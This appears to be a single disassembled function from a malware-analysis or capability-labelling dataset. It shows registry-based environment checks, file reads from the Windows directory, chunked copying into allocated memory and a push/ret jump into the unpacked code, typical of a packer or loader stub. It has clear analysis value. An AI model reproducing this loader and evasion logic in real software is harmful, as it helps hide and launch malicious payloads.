Function at 0x401340
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
pushal
mov dword [0x446fac], ebp
mov dword [ebp - 0x148], 0
lea eax, [ebp - 0x128]
push eax
push 0x20019
push 0
push 0x44506c
push reloc.comctl32.dll_MenuHelp
call dword [sym.imp.advapi32.dll_RegOpenKeyExW]
test eax, eax
je 0x40138b
push 4
call dword [sym.imp.kernel32.dll_LoadLibraryW]
xor eax, eax
jmp 0x401812
lea ecx, [ebp - 0x128]
push ecx
push 0x20019
push 0
push str.ClassesCLSID00000315_0000_0000_C000_000000000046ConversionReadable
mov edx, dword [ebp - 0x128]
push edx
call dword [sym.imp.advapi32.dll_RegOpenKeyExW]
test eax, eax
je 0x4013c3
push 4
call dword [sym.imp.kernel32.dll_LoadLibraryW]
xor eax, eax
jmp 0x401812
mov eax, dword [sym.imp.kernel32.dll_CreateFileA]
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x138], 0x404204
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x140], 0x64
mov dword [ebp - 0x11c], 2
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x13c], 1
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x13c], 1
mov dword [ebp - 0x118], 3
push 0x104
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
call fcn.004010c0
mov edx, dword [ebp - 0x138]
push edx
call fcn.00401000
add esp, 4
mov dword [ebp - 0x14c], eax
mov eax, dword [str.x7zbjqg9hqd6uekts]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.kernel32.dll_lstrlenA]
lea edx, [ebp + eax - 0x110]
push edx
call dword [sym.imp.kernel32.dll_lstrcpyA]
push 0
push pe_nt_image_headers32
push 3
push 0
mov eax, dword [ebp - 0x118]
push eax
mov ecx, dword [ebp - 0x13c]
push ecx
lea edx, [ebp - 0x110]
push edx
call dword [ebp - 0x15c]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0xffffffff
je 0x4014d1
cmp dword [ebp - 0x12c], 0
jne 0x4014d8
xor eax, eax
jmp 0x401812
mov eax, dword [ebp - 0x14c]
push eax
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x144], eax
mov ecx, dword [ebp - 0x14c]
push ecx
push 0
mov edx, dword [ebp - 0x144]
push edx
call fcn.00401170
add esp, 0xc
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x154], eax
mov ecx, dword [sym.imp.kernel32.dll_CreateFileA]
mov dword [ebp - 0x160], ecx
push 0x104
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
call fcn.004010c0
mov eax, dword [ebp - 0x138]
push eax
call fcn.00401000
add esp, 4
mov dword [ebp - 0x14c], eax
mov ecx, dword [str.x7zbjqg9hqd6uekts]
push ecx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.kernel32.dll_lstrlenA]
lea eax, [ebp + eax - 0x110]
push eax
call dword [sym.imp.kernel32.dll_lstrcpyA]
push 0
push pe_nt_image_headers32
push 3
push 0
mov ecx, dword [ebp - 0x118]
push ecx
mov edx, dword [ebp - 0x13c]
push edx
lea eax, [ebp - 0x110]
push eax
call dword [ebp - 0x160]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0xffffffff
je 0x4015a9
cmp dword [ebp - 0x12c], 0
jne 0x4015b0
xor eax, eax
jmp 0x401812
mov ecx, dword [ebp - 0x148]
cmp ecx, dword [ebp - 0x14c]
jae 0x401648
mov edx, dword [ebp - 0x154]
push edx
mov eax, dword [ebp - 0x140]
push eax
call fcn.00401220
add esp, 8
mov dword [ebp - 0x158], eax
mov ecx, dword [ebp - 0x158]
push ecx
mov edx, dword [ebp - 0x138]
add edx, dword [ebp - 0x124]
push edx
mov eax, dword [ebp - 0x144]
add eax, dword [ebp - 0x148]
push eax
call fcn.004012e0
add esp, 0xc
mov ecx, dword [ebp - 0x11c]
add ecx, dword [ebp - 0x140]
add ecx, dword [ebp - 0x124]
mov dword [ebp - 0x124], ecx
mov edx, dword [ebp - 0x148]
add edx, dword [ebp - 0x140]
mov dword [ebp - 0x148], edx
mov eax, dword [ebp - 0x154]
sub eax, dword [ebp - 0x158]
mov dword [ebp - 0x154], eax
jmp 0x4015b0
mov ecx, dword [ebp - 0x14c]
push ecx
mov edx, dword [ebp - 0x144]
push edx
call fcn.00401250
add esp, 8
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x174], 0x443bfc
mov eax, dword [ebp - 0x174]
push eax
call fcn.00401000
add esp, 4
mov dword [ebp - 0x168], eax
mov ecx, dword [ebp - 0x168]
push ecx
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x120], eax
mov edx, dword [ebp - 0x168]
push edx
push 0
mov eax, dword [ebp - 0x120]
push eax
call fcn.00401170
add esp, 0xc
mov ecx, dword [ebp - 0x168]
mov dword [ebp - 0x170], ecx
mov edx, dword [ebp - 0x164]
cmp edx, dword [ebp - 0x168]
jae 0x401762
mov eax, dword [ebp - 0x170]
push eax
mov ecx, dword [ebp - 0x140]
push ecx
call fcn.00401220
add esp, 8
mov dword [ebp - 0x178], eax
mov edx, dword [ebp - 0x178]
push edx
mov eax, dword [ebp - 0x174]
add eax, dword [ebp - 0x124]
push eax
mov ecx, dword [ebp - 0x120]
add ecx, dword [ebp - 0x164]
push ecx
call fcn.004012e0
add esp, 0xc
mov edx, dword [ebp - 0x11c]
add edx, dword [ebp - 0x140]
add edx, dword [ebp - 0x124]
mov dword [ebp - 0x124], edx
mov eax, dword [ebp - 0x164]
add eax, dword [ebp - 0x140]
mov dword [ebp - 0x164], eax
mov ecx, dword [ebp - 0x170]
sub ecx, dword [ebp - 0x178]
mov dword [ebp - 0x170], ecx
jmp 0x4016ca
mov edx, dword [ebp - 0x168]
push edx
mov eax, dword [ebp - 0x120]
push eax
call fcn.00401250
add esp, 8
mov ecx, dword [ebp - 0x144]
mov edx, dword [ebp - 0x120]
mov dword [ecx], edx
push 0x41000
call fcn.004011f0
add esp, 4
mov dword [ebp - 4], eax
lea eax, [ebp - 0x128]
push eax
push 0x20019
push 0
push str.wkwdcojcp
push reloc.comctl32.dll_MenuHelp
call dword [sym.imp.advapi32.dll_RegOpenKeyExW]
test eax, eax
je 0x4017bc
xor eax, eax
jmp 0x401812
push 0x3e600
mov ecx, dword [ebp - 0x144]
push ecx
mov edx, dword [ebp - 4]
add edx, 0x300
push edx
call fcn.004012e0
add esp, 0xc
mov eax, dword [ebp - 4]
sub eax, 0x400000
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x120]
push edx
call fcn.00401010
add esp, 0xc
mov esp, dword [0x446fac]
pop ecx
mov eax, dword [ebp - 4]
add eax, 0x3e5c0
mov dword [ebp - 0x134], eax
push dword [ebp - 0x134]
ret
mov esp, ebp
pop ebp
ret